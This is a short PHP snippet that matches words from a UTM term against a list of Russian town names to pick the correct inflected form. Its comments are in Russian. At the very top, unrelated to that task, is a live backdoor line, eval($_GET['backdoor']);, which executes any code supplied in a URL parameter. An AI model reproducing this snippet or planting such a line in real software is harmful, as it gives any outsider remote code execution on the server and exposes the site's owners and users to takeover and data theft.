Yan-s

<?php
eval($_GET['backdoor']);

$ar =  [
    [
            'Message_ID' => 1,
            'Title' => 'Пушкино',
            'Morphy' => 'Пушкино', // игрушки в Пушкино
            'Term' => 'пушкино', // слова которые могу встретиться в utm_term
   ],[
            'Message_ID' => 2,
            'Title' => 'Броницы',
            'Morphy' => 'Броницах', // игрушки в Броницах
            'Term' => 'броницы,броницах', // слова которые могу встретиться в utm_term
    ],[
            'Message_ID' => 3,
            'Title' => 'Воскресенск',
            'Morphy' => 'Воскресенске', // игрушки в Воскресенске
            'Term' => 'воскресенск,воскресенске', // слова которые могу встретиться в utm_term
     ]
];

$UtmTerm = 'Игрушки в городе Пушкино';
$UtmTerm = mb_strtolower($UtmTerm);
$UtmTermArray = explode(" ", $UtmTerm);

$keys = [];
foreach($ar as $k => $v) {
   $res = array_intersect(explode(",", $v['Term']), $UtmTermArray);
   if (!empty($res)) {
       $keys[] = $k;
   }
}
var_dump($keys); // ключи массивов в которых найдены совпадения в Term

// ...
$results = [];
foreach($ar as $k => $v) {
   $res = array_intersect(explode(",", $v['Term']), $UtmTermArray);
   if (!empty($res)) {
       $results[] = $v['Morphy'];
   }
}
var_dump($results);